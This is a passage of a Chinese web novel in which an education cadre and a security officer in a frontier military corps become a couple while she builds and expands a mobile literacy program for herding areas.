舒染的心早已软了,但她偏不让他轻易过关。她非但没有解围,反而微微歪了头,清澈的眼睛里闪烁着狡黠的光,像一只逗弄着落入陷阱的猎物的猫。 “允许你什么?”她轻声追问,语气无辜,却又带着一丝引导,“允许你继续站在一个安全距离外,看着我?还是允许你,像送这些糖包一样,默默地关心我?” 她每说一句,就看着他眼底的挣扎更深一分,那紧握的拳头上,指节都微微泛白。 “陈远疆,”她的声音更轻了,带着一种温柔的蛊惑,“把你想说的说出来。你不说出来,我怎么知道,该怎么……负责呢?”—— 作者有话说:这一章好难写,发晚了家人们,评论区来点掉落~~[元宝] 第119章 最后三个字, 她几乎是气声,带着某种承诺的暗示敲打在他紧绷的神经上。 这近乎纵容的鼓励,成了最后一根稻草。 陈远疆闭了闭眼, 再睁开时,里面所有的犹豫和挣扎都被一种炽热所取代。 他猛地吸了一口气, 像是终于挣脱了什么,那些在心底盘旋了千百遍的话,终于说出了口。 “允许我……靠近你。”他的声音因为激动而发颤, “不是以同志的身份。” 他再次抬手,轻轻握住了她放在身侧的手。 他的掌心滚烫,带着常年握枪留下的薄茧,有些粗糙, 将她的手指包裹住。 “是以一个男人的身份, ”他凝视着她的眼睛, 一字一句, “以一个……想和你共度余生的男人的身份, 站在你身边。” 他终于说出来了。 舒染看着他, 看着他眼中如释重负的明亮,看着他因紧张而汗湿的额角, 感受着他掌心传来的温度。 她所有的逗弄心思,在这一刻都化为了心动。 她反手回握住了他的手。 “这个请求, ”她仰起脸,眼中笑意盈盈, “我准了。” 陈远疆的眼神亮起来, 巨大的喜悦在脑海中炸开。他几乎是本能地想要将她拥入怀中,却还是在最后关头克制住了自己,只是将她的手握得更紧。 “好。”他哑声回应。 “陈远疆, ”舒染伸出另一只手,轻轻拽住了他军装的一角,轻声说:“你那些前提,我都不在乎,我只在你你这个人。” 接着,舒染嘴角弯起一个狡黠的弧度, “还有,你刚才吃醋的样子真可爱。” 陈远疆看着她拽住他衣角的手,看着她的眉眼,只觉得整颗心都被填满了。 他抬起手用指尖轻轻拂开了她额前一缕碎发。指尖撤离时,若有似无地蹭过她的额角皮肤。 舒染的话轻轻搔刮着他的心尖。 “可爱?”他低声重复。这个词,与他过往人生中所有的定义大相径庭,可从她的唇间吐出,竟让他耳根不受控制地漫上热意。 他看着她近在咫尺的带着小小得意的脸庞,那拽着他衣角的手,仿佛拽住了他所有的理智和克制。 一种前所未有的汹涌柔软将他彻底淹没。 “舒染……”他又唤了她一声,“别这样看着我……” 他会失控。 后面的话他没有说出口,但舒染懂了。 “那该怎样看着你?”她轻声问,语气无辜,眼底却漾着水光,带着明知故问的挑衅。 陈远疆的呼吸一窒。 “就这样……就好。” 最终,陈远疆像是用尽了全身的力气,才将目光从她脸移开。他垂下眼眸,视线落在她依旧拽着他衣角的手上,喉结滚动了一下。 “很晚了,你……早点休息。” 说完,他强迫自己转过身朝门口走去。那只垂在身侧的手,自始至终都紧紧握着拳。 “陈远疆。”舒染在身后叫他。 他停在门口。 “下次,”舒染的声音带着笑意,“糖包我要豆沙馅的。还有,电影,我没打算去。” 陈远疆的背影顿了顿,一声愉悦声音传来:“嗯。” 他轻轻带上门离开了。 门被关上,房间里恢复了安静。舒染站在原地,抬手轻轻碰了碰自己有些发烫的脸颊。 看来,顿悟开窍后的陈特派员,行动力倒是提升得很快。 她走到窗边,看着楼下那个熟悉的身影几乎是跑着穿过大院,消失在夜色里,忍不住又笑了起来。 师部的新生活,除了事业上的挑战,似乎也多了点让人期待的滋味。 然而,舒染很清楚,这只是开始。留在师部,意味着她将更深地卷入这里的纷繁人事。暗流都等着她去应对。 但此刻,她心情很好。 她关好窗户,拉上窗帘,将外面的世界暂时隔绝。转身回到书桌前,摊开了教育科的工作手册。 第二天清晨,窗外天色微明,舒染躺在床上,指尖仿佛还残留着昨夜陈远疆掌心的灼热,嘴角不自觉地带上一丝笑意。 但很快,这丝情绪就被她收敛起来。她利落地起身,叠好被子,开始规划新一天的工作。 她知道,孙处长给的职位既是机遇也是考验。 “负责全师扫盲推广”,这句话听起来权力不小,但真正做起来,千头万绪,阻力绝不会小。各个团、连队情况千差万别,资源有限,人际关系盘根错节,远不是她在那个小小的畜牧连面对的问题可比。 洗漱完毕,她对着小镜子仔细整理好仪容,确保自己看起来精神干练,这才拿起饭盒走向食堂。 师部食堂比连队的大得多,也更有秩序,打饭的队伍排得整整齐齐。舒染一眼就看到杨振华站在队伍靠前的位置,正笑着朝她招手。她顿了顿,还是坦然走了过去。 “舒染同志,这边,我给你占了位置。”杨振华热情地说。 “谢谢杨干事。”舒染客气地点头,排在了他身后。 “昨晚休息得怎么样?还习惯吗?”杨振华关切地问,“陈特派员他……没打扰你太久吧?”他语气自然,眼神里却带着探究。 舒染面色不变,语气平和:“陈特派员只是来交代一些连队移交的工作。休息得很好,谢谢关心。” 她无意宣扬自己和陈远疆的关系,在师部这种地方,任何私人情感都可能被过度解读,成为工作的牵绊或攻击的靶子。她需要时间站稳脚跟。 打好早饭,杨振华还想邀请她同桌,舒染却已看到了教育科的几位同事,便歉意地笑笑:“杨干事,我过去和科里同事打个招呼,熟悉一下情况。” 杨振华眼中闪过一丝失望,但很快恢复如常:“应该的,那你忙,工作上有什么需要,随时找我。” 舒染端着饭盒坐到教育科几位同事那桌,自我介绍后,便安静地听着他们讨论工作,偶尔插话问一两个关键问题,态度谦逊。 上午,舒染准时出现在孙处长办公室。 孙处长递给她一叠厚厚的材料:“小舒啊,这是各团报上来的扫盲工作简报和一些困难反馈,你先熟悉一下。你的主要任务,就是在现有基础上,找出问题,总结经验,拿出一个能在全师有效推广的方案。畜牧连的那个示范点,你要继续抓好,它是你方案的试验田,也是说服别人的例子。” “我明白,处长。”舒染接过材料,感觉分量不轻,“我会尽快熟悉情况,拿出初步思路。” “嗯,”孙处长点点头,语气带着深意,“师部不比连队,做事讲究方法和程序。遇到阻力,多汇报,多沟通。林雪舟同志那边,你们也要保持联系,示范点的规划,需要你们共同推进。” 听到林雪舟的名字,舒染心中了然。她平静地回答:“好的,处长。我会和林雪舟同志保持沟通,确保示范点工作顺利推进。” 回到分配给自己的那张旧办公桌前,舒染开始埋首于材料之中。 她看得很快,同时拿着笔在笔记本上飞速记录要点,划出问题。 各团汇报的成绩大同小异,但字里行间透露的困难却五花八门:师资奇缺、教材不统一、牧民居住分散动员困难、生产任务重挤占学习时间、部分基层领导重视不够…… 看到这些问题,舒染反而踏实了些。问题明确,才好对症下药。 她脑子里那个固定校舍、流动毡房、田间课堂三位一体的模糊构想,在这些具体问题的映照下,渐渐变得清晰起来。 中午在食堂,她又遇到了杨振华。这次,他身边还跟着宣传科的另一个年轻干事。 “舒染同志,正好,”杨振华笑着介绍,“这位是小张,我们宣传科的笔杆子。小张,这就是我跟你提过的舒染同志,从畜牧连调上来的教育干事,能力非常强。” 小张好奇地打量着舒染,热情地握手:“舒干事,久仰大名!杨干事可没少夸你。” 舒染客气地回应:“张干事你好,过奖了,都是组织培养。” 杨振华似乎想营造一种他与舒染关系匪浅的氛围,但舒染应对得体,既不过分亲近,也不失礼貌地将交流控制在同事范畴。 她注意到,在他们不远处,陈远疆正和几个保卫处的同事一起吃饭,他坐姿笔挺,目不斜视,仿佛完全没有看到她。 但舒染就是能感觉到,他有一道目光是有意无意地在她这边的。 下午,舒染主动去找了负责物资调配的后勤科同志,了解目前全师教育物资的配给情况和申请流程。果然,得到的回复是“指标紧张”、“按计划分配”、“需要层层审批”。 回到办公室,她开始起草第一份工作报告,重点分析当前扫盲工作的瓶颈,并初步提出了因地制宜、分类指导、资源整合的思路,没有冒进地直接抛出她三位一体的构想,而是打算先摸清各方反应。 下班时,天色已暗。舒染抱着一些材料回宿舍,准备晚上继续研究。 走到宿舍楼下,她下意识地看了看陈远疆昨天来的方向,空无一人。她心里掠过一丝失落,随即又失笑,难道还指望他天天来站岗不成? 走到宿舍门口,她愣了一下。地上多了一个瓦罐,里面插着一簇颜色各异的野花,舒染捧起瓦罐打开门走了进去,整个房间里满是花香。 没有纸条,没有署名。但舒染知道是谁。 她轻轻碰了碰那些花,眼底漾开笑意。 她放下材料,给瓦罐里加了点水。然后摊开稿纸,开始给畜牧连的王大姐、李秀兰,还有林雪舟写信。她需要了解示范点的近况,也需要和林雪舟沟通下一步的计划。 这既是工作,也维系着那条连接她与事业起点的纽带。 灯火下,她的身影沉静而专注。 * 接下来的日子,舒染完全投入到师部教育科的工作中。她那份条理清晰且直指问题核心的初期报告,在科里引起了一些小小的震动。 有的老干事觉得她锐气过盛,不够稳重;但也有人欣赏她接地气的视角和敢于碰触实际矛盾的勇气。 孙处长看过报告后,把她叫去谈了一次话。 “问题抓得挺准。”孙处长呷了口茶,语气听不出褒贬,“资源整合这个想法也好。不过,小舒啊,整合意味着动别人的蛋糕,你想过怎么动吗?各团、各连队都有自己的小算盘,师部这边,后勤、财务、甚至宣传,哪个环节卡你一下,你都寸步难行。” 舒染早有准备,她拿出另一份更细致的构想:“处长,我明白。所以我认为,不能一刀切。可以先选一两个基础较好、阻力相对小的团做试点,比如我们团。方案上,也不求一步到位,可以先从流动教学这个点切入。牧区孩子上学难是普遍问题,我们组织师部或团部有限的师资力量,定期下到牧区聚居点授课,同时携带卫生宣传、简单农技咨询,这样一举多得,容易争取其他部门的支持,也显得我们教育科不是只盯着自己的一亩三分地。” 孙处长沉吟着,手指敲着桌面:“联合行动……这倒是个思路。不过,牵头协调不容易,你需要哪些支持?” “我需要后勤科在交通上给予一定保障,哪怕只是协调顺路的卡车或马车。需要宣传科帮忙造势,扩大影响,争取牧民家长的支持。还需要处里给我一定的权限,去和这些部门沟通协调。”舒染思路清晰,她知道,在师部,单打独行注定一事无成。 “权限我可以给你,”孙处长点点头,“就以试点项目负责人的名义去谈。但能不能谈下来,看你自己的本事。记住,多听少说,了解各部门的难处,找到利益共同点。” “我明白。”舒染知道,这才是真正的考验。 从处长办公室出来,舒染就开始她的游说之旅。 她先去找了后勤科一位姓王的副科长,对方打着官腔,强调车辆紧张,运输任务重。 舒染没有硬碰硬,而是拿出事先准备好的牧区分布图和可能的顺路线路图,细致地说明教育科需要的并非专车,只是搭便车,并且承诺会严格遵循后勤科的调度安排,甚至可以帮司机记录一些沿途的物资需求信息。 她态度诚恳,方案具体,让王副科长挑不出刺,最后勉强松口,表示“在可能的情况下尽量协调”。 从后勤科出来,舒染舒了口气,第一关算是过了。她接着去找宣传科的杨振华。 杨振华对她的到来表现得非常热情,听完她的想法,立刻表态:“这是好事啊!又能体现我们师部对基层、对少数民族同胞的关怀!舒染你放心,宣传科一定全力配合!到时候我亲自带人跟下去拍照写稿,在师部广播站和内部通讯上好好宣传!” 舒染知道杨振华有借机表现的意思,但只要目的能达到,她乐见其成。 “那就太感谢杨干事了。具体的时间和行程,我等和后勤科协调好,再跟你详细商量。” “没问题!”杨振华满口答应,趁着办公室没人,他压低声音,带着几分关切地问,“舒染,这几天……陈特派员没再找你吧?他那人,脾气冷硬,在师部是出了名的,要是他有什么地方让你为难,你跟我说。” 舒染心下明了。她面色不变地说:“杨干事多虑了。陈特派员工作认真,我们只是正常的工作接触。谢谢关心。” 杨振华笑了笑,没再继续这个话题。 忙碌一天,舒染回到宿舍时,感到一阵疲惫。走到房门口,她发现地上有一个小布包。打开一看,是几个洗得干干净净的沙果,下面还压着一本小册子,封面上手写着《边疆地区常见草本植物图录》。 舒染拿起一个沙果,咬了一口。她翻看着那本明显是手工绘制的图录,里面甚至标注了哪些果实可否食用、药用或其他用途。 她收好沙果和图录,坐下来继续完善她的试点方案。她知道,她必须尽快做出成绩,才能不负自己的选择。 几天后,舒染再次在食堂遇到陈远疆。这次,他没有避开,而是端着饭盒,径直走到了她对面坐下。 同桌的其他同事都有些惊讶,陈远疆的脾气在师部是出了名的。 “舒干事。”陈远疆声音平稳,但看着她的眼神里,有了只有两人才懂的温度。 “陈特派员。”舒染微笑着回应,坦然自若。 “听说你在推动流动教学点?”他问,声音不大,但足够让周围竖着耳朵的人听见。 “是,处长已经批准试点。正在协调后勤和宣传科的同志。”舒染公事公办地回答。 “嗯。”陈远疆点点头,扒了一口饭,看似随意地说,“靠近边境界碑那片,有几个夏季牧场聚集点,路况复杂,一般车辆不愿意去。下次我们处巡逻到那边,可以提前通知你时间,如果你们的教学点能跟上,安全性会高很多。” 舒染心中一动,这简直是雪中送炭。保卫处的巡逻路线覆盖许多偏远牧区,如果能借力,安全性和可行性都大大增加。 她强压下心头的喜悦,维持着表面的平静:“谢谢陈特派员提醒,这个信息很重要,我会认真考虑并向处长汇报。” “不客气,支持教育工作,应该的。”陈远疆说完,便不再多言,专注吃饭。 但这简短的对话,已经向周围传递了一个明确的信号:舒染的工作,保卫处是认可并愿意提供便利的。 等陈远疆吃完离开,同桌的一位老干事才感慨地对舒染说:“小舒干事,可以啊,连陈远疆这块硬骨头都能说动。有他们保卫处保驾护航,你这事,成功率可就高多了。” 舒染只是谦逊地笑笑,没有解释。她和陈远疆,不需要向任何人解释他们的关系和工作上的默契。 这种彼此支撑,并肩前行的感觉很好。 第120章 有了陈远疆提供的借力保卫处巡逻队的思路, 舒染的流动教学点试点方案立刻变得血肉丰满起来。 她连夜修改方案,将借助现有力量、确保安全、高效覆盖作为核心亮点,并且详细列出了可能与保卫处、后勤科、卫生队等部门协同工作的具体流程和职责划分。 第二天一早, 她就将这份更加完善的方案放到了孙处长的办公桌上。 孙处长仔细翻阅着,手指在一行字上停顿了片刻, 抬眼看了看舒染,眼神里带着赞许。 “思路打开了不少嘛,小舒。”孙处长合上方案, “知道借力了,这是好事。不过,跟保卫处那边沟通了吗?陈远疆现在可是副处长了,主管边境巡逻和内部安保, 担子重, 脾气估计更硬了。” 舒染微微一怔。副处长?她这几天埋头方案, 竟不知道他已经升职了。从特派员到副处长, 这跨度不小。 她迅速收敛心神, 如实汇报:“昨天在食堂偶遇陈……陈副处长, 他主动提到了他们巡逻的路线,并表示支持教育工作, 可以在安全方面提供便利。”她自然地改换了称呼。 “哦?”孙处长挑了挑眉,似乎对陈远疆的主动态度更感意外, “他刚提上来,新官上任三把火, 能在这个当口支持教育工作, 倒是难得。既然他有这个态度,那就好办多了。这样,你这个方案原则上我同意了。你先去跟后勤科把交通工具的具体安排敲定, 然后拿着处里的正式批复,去找陈远疆对接具体细节。记住,程序要走对,态度要端正。” “是,处长,我明白。”舒染心中一定,最难的一关——获得直属领导的支持,算是过去了。 从处长办公室出来,舒染马不停蹄直奔后勤科。这次,她手里拿着教育科的正式批复文件,底气足了很多。面对王副科长的推诿,她不再像上次那样只是恳切请求,而是摆出了合作共赢的姿态。 “王科长,这次试点是孙处长亲自抓的重点工作,目的是为了解决牧区孩子上学难的老大难问题,这也是体现我们师部对基层关怀的重要举措。宣传科的杨干事已经准备好全程跟进报道。” 舒染将文件轻轻推过去,“后勤保障是其中关键一环。我们不需要专车,只需要在保卫处巡逻队出发时,协调出几个搭车的位置,这对后勤科现有的运输计划影响微乎其微。但这件事做成了,却是后勤科支持基层、服务大局的实绩。孙处长那边,也会看到后勤科高效配合的工作能力。” 她的话软中带硬,王副科长看着文件上的红章,又掂量着舒染话里的分量,脸上的表情变幻了几下,最终挤出一个笑容:“舒干事说得对,支持教育,我们后勤科义不容辞!这样,你把需要搭车的时间和大致路线提前报过来,我尽量安排,确保不耽误你们的事!” “太感谢王科长了!您的支持对我们试点工作成功至关重要。”舒染适时送上高帽子,心里松了口气。 搞定后勤科,舒染没有立刻去找陈远疆,而是先回了一趟教育科。她需要稍微平复一下心情,也顺便从科里消息灵通的同事那里再确认一下陈远疆升职的具体情况。 果然,她一进办公室,就听到几个年轻干事在议论。 “听说了吗?保卫处的陈特派员,哦不,现在该叫陈副处长了,批下来了!” “这么快?他之前立那么多功,早该升了。” “是啊,现在可是咱们师部最年轻的副处长之一了,听说师长都很看重他……” 见到舒染进来,议论声小了些,但目光都不由自主地瞟向她,带着点探究。毕竟,上次食堂陈远疆主动与她交谈,不少人都看见了。 舒染面色如常地走到自己座位,拿起茶杯喝水。 陈远疆升职,权力更大,对她的项目支持力度理论上也能更大。但另一方面,两人现在级别差距拉大,私下那点刚挑明的关系,在师部这种环境里,更需要小心谨慎。 她决定不再拖延,拿起文件起身走向保卫处所在的办公楼。 保卫处的气氛明显比教育科肃穆很多,走廊里偶尔走过的干事也都步履匆匆,表情严肃。 舒染按照门牌找到陈远疆的办公室,门开着,他正伏在桌上写着什么,眉头微蹙。 舒染轻轻敲了敲门。 陈远疆抬起头,看到是她,眼睛里亮了一下,那紧蹙的眉头也松开了些。 “舒……干事,请进。” 他的办公室和陈设一样简洁,一张桌子,几把椅子,一个文件柜,墙上挂着大幅的边境区域地图。 “陈副处长。”舒染走上前,将批复文件和备忘录放在他桌上,“恭喜升职。这是我们教育科关于流动教学点试点的批复,以及我们初步设想的与贵处巡逻队协同工作的具体建议,请您过目。” 她特意用了“陈副处长”这个新称呼,带着一丝调侃,目光清亮地看着他。 陈远疆接过文件,迎上她的目光,眼神中带着笑意。 陈远疆接过文件,看得很快,但很仔细 “安全问题,是首要考虑。你们的教学人员,尤其是女同志,能否适应长途颠簸和野外环境?遇到突发情况,有没有应急预案?” 舒染早有准备,从容应答:“教学人员主要从我之前负责的畜牧连扫盲班骨干和师部直属学校愿意参与实践的年轻老师中挑选,会进行前期培训。应急预案方面,我们初步设想,一是每次行动必须有两人以上同行;二是配备基本药品;三是严格遵循贵处巡逻队的指挥,绝不擅自行动。更重要的是,我们希望得到保卫处同志在安全识别和基础避险方面的专业指导。” 陈远疆沉默了片刻,“巡逻路线和时间属于保密范畴,不能提前对外详细公布。” 舒染心下一沉,这是最关键的一环。 但陈远疆话锋一转:“不过,我们可以根据每次任务情况,在出发前两小时,通知你们是否可以跟队,以及大致方向和预计停留点。你们的人员和物资,必须在这个时间内准备就绪,到指定地点集合。过时不候。” 舒染立刻点头:“可以!我们一定能做到准时集合,绝不给巡逻队添麻烦!感谢陈干事的支持!” 看着她眼中的神采,陈远疆露出柔和的神色,“这是为了工作。具体每次跟队的人员名单和物资清单,需要提前报备我处审核。” “没问题!”舒染爽快答应。 正事谈完,舒染准备起身告辞。 陈远疆忽然合上文件夹看着她,语气似乎随意了些,但眼神里却带着只有两人才懂的深意:“舒干事为了工作,真是尽心尽力。听说你亲自带队第一次跟队?” 舒染迎着他的目光,“是啊,陈副处长亲自把关的安全保障,我还有什么不放心的?总不能因为……嗯,某些不必要的顾虑,就影响了工作推进吧?毕竟,现在盯着我们的人,可能更多了。” 陈远疆的眼底掠过笑意,“正常工作配合,不必有顾虑。保卫处支持教育工作的立场不会变。你按计划准备就好。” “有陈副处长这句话,我就放心了。”舒染站起身,笑容得体,“具体细节,我让我们科的小张干事后续跟您这边对接?” 陈远疆点了点头,在她转身走向门口时,补充了一句,声音不高,却清晰地传入她耳中:“自己注意安全。” 这种彼此心知肚明的关系,却充满了别样的意味。 舒染脚步未停,手搭上门把手,回头看了他一眼,眼神里带着一丝狡黠:“谢谢领导关心。我会的。” 门轻轻关上。 陈远疆看着关上的门,抬手揉了揉眉心,眼底的笑意终于漾开。舒染那一句句的“陈副处长”叫得他心软,特别是她最后那个眼神,他更喜欢了。 舒染快步离开保卫处。现在不是沉溺于儿女情长的时候,试点方案获批,后勤和保卫两大关键部门初步搞定,接下来,就是紧锣密鼓地组建团队、筹备物资、培训人员了。 她回到教育科,立刻召集科里几位比较有干劲的年轻干事开会,将试点任务分解下去,谁负责联络各团筛选合适的教学人员,谁负责编制简易教材和教具清单,谁负责与卫生队协调派遣随行卫生员……她指令清晰,分工明确,充分调动起每个人的积极性。 “同志们,这个试点项目,是处里对我们科的信任,也是我们教育科打响名头、真正为基层解决实际困难的好机会!做好了,功劳是大家的!做不好,责任我来扛。”舒染站在桌前,目光扫过众人,语气带着一种决断力。 她不再是那个刚从连队上来需要小心翼翼摸索的新人干事,而是逐渐显露出独当一面的领导者气质。 科里几位原本对她空降略有微词的老干事,看着她雷厉风行的作风和短时间内撬动后勤、保卫两个难缠部门的能量,也不由得收起了几分轻视。 忙碌中,几天时间一晃而过。流动教学点的筹备工作初步就绪,首批筛选出的五名教学骨干已经到位,正在进行紧急培训。简易教材、教具、基本药品也准备齐全,就等保卫处巡逻队的通知。 这天下午,舒染正在核对物资清单,办公室的门被敲响了。 “请进。” 进来的是杨振华,他脸上带着惯有的热情笑容。 “舒染同志,忙着呢?” “杨干事,什么事?”舒染放下笔,笑着抬头看他。 “听说你们流动教学点万事俱备,只欠东风了?”杨振华拉过一把椅子坐下,“我这边宣传稿的素材都准备好了,就等你们凯旋了。” “谢谢杨干事支持。”舒染客气地回应。 杨振华看着她,忽然压低声音:“舒染,有句话,不知当讲不当讲。” “杨干事请说。” “我听说,这次跟队巡逻,危险性不小。边境那边,最近也不太平静。”杨振华语气带着关切,“你一个女同志,又是项目负责人,没必要亲自跟第一次吧?让下面的人去就行了,你在师部统筹全局就好。” 舒染看着他,明白他这话半是关心,半是试探,或许还有几分不愿她与陈远疆有太多接触的私心。 她笑了笑,语气却不容置疑:“杨干事,正因为我是负责人,第一次行动才必须亲自去。只有亲身体验,才知道方案哪里需要调整,才知道后续如何更好地指导工作。安全问题,我相信保卫处的同志,也做好了充分准备。” 杨振华被她堵了回去,勉强笑了笑:“也是,你一向有主意。那……你多小心。” 他起身离开后,舒染看着关上的门,思索着:在师部这个地方,不知有多少双眼睛在看着她,等着看她出错,看她笑话。她绝不能退缩,这第一次指导,她必须去,而且要做得漂亮。 第二天凌晨,天还没亮,舒染和另外四名教学骨干,带着物资,准时到达了保卫处指定的集合地点。 车灯由远及近,两辆敞篷的军用吉普车停在他们面前。陈远疆从第一辆车的副驾驶座上跳下来。 他目光扫过舒染一行人,在舒染脸上停留了一瞬,很快移开,接着下达指令:“人员按名单顺序上车,物资固定好。路上保持安静,听从指挥。” “是!”舒染带头应道,利落地组织人员上车。 她和他,一个在车下指挥,一个在车上协调。 车子发动,驶出师部大院。舒染抱着怀里的行囊,里面装着教材、教具,还有那个军用水壶。《 》 120-130 第121章 流动教学点试点首战告捷的消息很快传遍了师部, 甚至传到了更上级那里。 舒染带领的小组,不仅成功在偏远牧区开展了识字和基础卫生教学,还因为与保卫处巡逻队的完美配合, 以及宣传科杨振华那篇声情并茂、登上全疆通讯的报道,成为了“部门协同、服务基层”的典范。 舒染的名字, 不再仅仅与畜牧连的启明小学挂钩,而是与一种创新的基层教育模式联系在了一起。 这天下午,孙处长将舒染叫到办公室, 脸上是掩饰不住的满意和期许。 “小舒啊,坐。”孙处长难得地亲自给她倒了杯水,“你们这次试点,搞得非常成功!效果出乎意料的好!不仅解决了牧区孩子的教育难题, 还促进了民族团结, 更关键的是, 探索出了一条在现有条件下, 高效利用资源、打破部门壁垒的新路子!” 舒染接过水杯, 谦逊地说:“都是处长领导有方, 科里同志们共同努力的结果,还有保卫处、后勤科等部门的大力支持。” “哎, 你就别跟我谦虚了。”孙处长摆摆手,脸上笑容收敛了些, 变得严肃起来,“正是因为效果显著, 兵团司令部高度重视!决定将你们小组总结的模式, 以及部门协同的工作方法,作为知识青年支援边疆建设、开展基层工作的样板经验,向全兵团推广!” 舒染心中一震, 全兵团推广?这比她预想的影响还要大! 孙处长看着她,继续说着重磅消息:“兵团教育司直接下达指令,成立兵团基层教育暨知青工作方法巡回指导组。由你,舒染同志,担任组长!组员就从你们原试点小组的核心成员里抽调,另外,兵团司还会从其他师抽调几名骨干补充进来。你们的任务,就是在未来三个月内,跑遍全疆的兵团下辖的另外几个师,进行经验宣讲和实地指导,帮助各地建立适合本地的教育和工作模式!” 巡回指导组!组长!跑遍全疆的兵团! 这消息让她一瞬间有些眩晕。这不再是局限于一个师内部的项目负责人,而是让她事业平台发生了质的飞跃。 她迅速压下心头的激动,大脑飞速运转。这意味着她将跳出师的人事纷扰和资源限制,在更广阔的天地里施展拳脚。这无疑是她事业上的一次巨大飞跃。 “处长,感谢组织和领导的信任!”舒染站起身,语气坚定,“我一定全力以赴,带领好指导组,不辜负兵团的期望,将我们X师的成功经验,结合各师实际情况,有效推广开来!” “好!要的就是你这个劲头!”孙处长欣慰地点点头,“时间紧,任务重,给你们一周时间准备。组员名单和初步行程安排,兵团司会直接下发到你这。需要师里提供什么支持,你尽管提。” “是!”舒染应道,心中已然开始勾勒巡回指导的蓝图。 消息很快在教育科传开,同事们看舒染的眼神彻底变了,充满了敬佩和羡慕。 之前或许还有人觉得她升迁太快,资历尚浅,但这一次,是兵团司令部的直接任命,是实打实的成绩和能力换来的认可。 小张干事兴奋地围着舒染转:“舒组长!太好了!这下教育科可真是扬眉吐气了!” 就连之前有些微词的几位老干事,也纷纷过来表示祝贺,言语间多了几分佩服。舒染一一客气回应,态度不卑不亢,安排交接工作时依旧条理清晰,稳得住场面。 下班后,舒染回到宿舍,心情仍有些激荡。她推开窗,看着师部大院里渐次亮起的灯火,深深吸了口气。她的舞台,已经从畜牧连的工具棚,到师部的办公室,即将再次扩展了。 “咚咚咚。”敲门声响起。 舒染有些诧异,这个时候会是谁?她走过去打开门,门外站着的是陈远疆。 他依旧是那身笔挺的军装,但似乎刚从外面回来,肩章上还沾着些许未拍净的尘土。 他看着她,眼神深邃,带着一种复杂的情感,有关切,有骄傲,或许还有一丝担忧。 “陈副处长?”舒染侧身让他进来,“你怎么来了?” 陈远疆走进房间,目光扫过窗台上那罐野花,然后落在舒染脸上。“听说你要带队下去巡回指导?” 他的消息很灵通。舒染点点头,给他倒了杯水:“嗯,刚接到的任务。要去其他七个师,三个月。” 陈远疆接过水杯,没有喝,只是握在手里,“范围很广,有些地方,情况比我们这里复杂,条件也更艰苦。”他顿了顿,声音低沉,“安全方面,尤其要注意。不是每个地方的保卫部门,都像我们处这样……” 他没有把话说完,但舒染明白他的意思。他是在担心她离开他后的安危。 舒染心里一暖,看着他紧蹙的眉头,故意用轻松的语气说:“陈副处长放心,我现在可是兵团任命的巡回指导组组长,代表的是兵团形象。所到之处,当地领导总会保障基本安全的。再说了,”她嘴角弯起一抹弧度,“我们指导组的工作方法里,很重要的一条就是‘依靠当地组织,协同各方力量’,其中当然包括保卫部门。我会把在您这里学到的‘借力’,充分发挥出来的。” 陈远疆看着她亮晶晶的眼睛,那里面没有丝毫畏惧,只有跃跃欲试的兴奋和自信。他表情柔和了些许,将水杯放在桌上,从军装上衣口袋里掏出一个小巧的牛皮封面的笔记本递给她。 “这个你拿着。” 舒染接过来,翻开一看,里面是一些笔记。 “记点东西。”陈远疆言简意赅,“各师主要领导和保卫部门负责人的名字、性格特点,还有一些需要注意的边境区域、交通要道的情况,我知道的,都写在前面几页了。可能不全,但或许有用。” 舒染看着笔记本前几页钢笔字,心想:这哪里是“可能不全”,这分明是一份人脉和情报指南,就这样轻易地给了她。 “这……”舒染摩挲着笔记本粗糙的封面。 “拿着。”陈远疆语气不容置疑,“在外面,多了解一点,没坏处。”他看着她,眼神专注,“凡事多留个心眼,遇事冷静,别逞强。保持联络。” “嗯。”舒染将笔记本紧紧抱在胸前,重重点头,“我会的。谢谢你……远疆。” 这是她第一次在私下场合去掉姓氏叫他。 陈远疆身形微微一僵,仿佛有什么情绪在眸中涌动。他看了她一眼,那目光似乎想将她刻进去。最终,他只是抬手极其克制地用指节在她额头上轻轻蹭了一下,触之即离。 “走了。”他转身,大步离开,背影挺拔,步伐比来时松快了些许。 舒染摸着刚才被他碰过的地方,又低头看看怀里沉甸甸的笔记本,笑了笑。 一周后,兵团基层教育暨知青工作方法巡回指导组正式启程。 一辆军用卡车载着舒染和她的五名组员离开了师部。 巡回指导组的工作并非一帆风顺。正如陈远疆所料,各师情况错综复杂。有的师领导重视,配合积极;有的则敷衍了事,认为这是搞形式主义;更有甚者,当地知青派系林立,对舒染这个空降的年轻组长并不买账。 舒染凭借着基层经验、灵活的工作方法和那份笔记本的提示,一次次化解危机。她不再仅仅宣讲以前的的模式,而是强调因地制宜,帮助各地分析自身优势劣势,找出最适合的路径。 她带领组员深入最偏远的连队和牧区,与当地知青、牧民同吃同住,用行动和成效逐渐赢得了尊重和信任。 在这个过程中,她和陈远疆的联系,主要通过信件维系。 信写得很克制,多是交流各地见闻、工作难点,偶尔提及身体,字里行间却藏着只有彼此能懂的牵挂。 三个月巡回指导接近尾声,指导组来到了最后一站——位于边境线附近的Y师。Y师条件最为艰苦,民族成分复杂,境外势力渗透风险也较高。 舒染格外谨慎,严格按照程序与当地保卫部门沟通,工作推进虽然缓慢,但还算顺利。 这天,指导组正在一个边境连队的田间课堂上,帮助知青们梳理如何将农业生产知识与扫盲结合。 队指导员匆匆跑来,脸上带着兴奋。 “舒组长!师部紧急通知!让你立刻带核心成员回师部!” 舒染心头一紧:“出什么事了?” 指导员喘着气说:“是好事!大大的好事!上面来了通知,说……说有一个中亚邻国的教育代表团,临时增加行程,明天就要到我们Y师参观!指名要看我们的流动毡房和田间课堂,说是看到了报道,非常感兴趣!师部命令,务必做好接待展示工作,你舒组长是这方面的专家,必须全程陪同讲解!” 中亚邻国教育代表团?指名参观? 不仅舒染,所有组员都愣住了。这完全出乎意料。巡回指导即将结束,竟然引来外宾关注。 舒染迅速冷静下来,这是挑战,更是机遇。 “明白了!”舒染当机立断,“小王,小李,你们立刻跟我回师部。其他人留在这里,继续完善这个点的展示细节,务必做到最好!” 回到Y师师部,气氛已经截然不同。师领导亲自接待了舒染,态度前所未有的重视和客气。 “舒染同志,这次外宾参观,意义重大!不仅关系到我们Y师的形象,更关系到我们国家的声誉!你是这方面的权威,我们都听你指挥!”Y师政委握着舒染的手,语气郑重。 舒染感受到了一种责任,但更多的是一种跃跃欲试的兴奋。 她迅速投入工作,与师部各部门协调,确定参观路线,审核讲解内容,培训参与展示的知青和牧民,甚至细致到外宾可能提出的问题预案。她思维缜密的考量和精通的组织协调能力,让领导们刮目相看。 